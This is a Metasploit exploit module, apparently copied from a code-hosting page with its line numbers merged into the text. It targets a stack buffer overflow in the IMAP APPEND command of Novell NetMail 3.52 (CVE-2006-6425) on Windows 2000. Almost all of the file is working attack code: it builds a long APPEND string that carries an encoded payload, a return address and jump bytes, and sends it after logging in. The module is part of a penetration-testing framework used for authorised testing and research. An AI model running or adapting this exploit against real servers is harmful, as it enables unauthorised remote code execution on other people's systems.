Path: blob/master/modules/exploits/windows/imap/novell_netmail_append.rb
21627 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell NetMail IMAP APPEND Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND17verb. By sending an overly long string, an attacker can overwrite the18buffer and control program execution.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2006-6425' ],24[ 'OSVDB', '31362' ],25[ 'BID', '21723' ],26[ 'ZDI', '06-054' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Payload' => {33'Space' => 700,34'BadChars' => "\x00\x0a\x0d\x20",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],40],41'DefaultTarget' => 0,42'DisclosureDate' => '2006-12-23',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)50end5152def exploit53sploit = "a002 APPEND " + "saved-messages (\Seen) "54sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"55sploit << rand_text_english(2) + [target.ret].pack('V')56sploit << [0xe9, -585].pack('CV') + rand_text_english(150)5758info = connect_login5960if (info == true)61print_status("Trying target #{target.name}...")62sock.put(sploit + "\r\n")63else64print_status("Not falling through with exploit")65end6667handler68disconnect69end70end717273